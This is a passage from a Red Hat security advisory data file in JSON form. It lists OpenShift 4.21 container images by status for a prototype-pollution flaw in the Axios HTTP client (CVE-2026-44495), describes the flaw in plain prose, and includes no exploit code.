"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Man-in-the-Middle (MITM) attack via Prototype Pollution"
},
{
"cve": "CVE-2026-44495",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-06-11T17:00:53.999811+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487937"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. This vulnerability involves prototype pollution gadgets in the request configuration processing. If another vulnerability has already polluted the Object.prototype.transformResponse, affected Axios versions may incorrectly interpret this inherited value as part of the request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Information disclosure due to prototype pollution vulnerability",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This Important vulnerability in Axios, a promise-based HTTP client, can lead to information disclosure, including credential theft and response hijacking, or denial of service. Exploitation requires a separate prototype pollution vulnerability in the same JavaScript process, allowing an attacker to control `Object.prototype.transformResponse`. Red Hat products using affected Axios versions are at risk if another component introduces such pollution.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64"
],
"known_not_affected": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
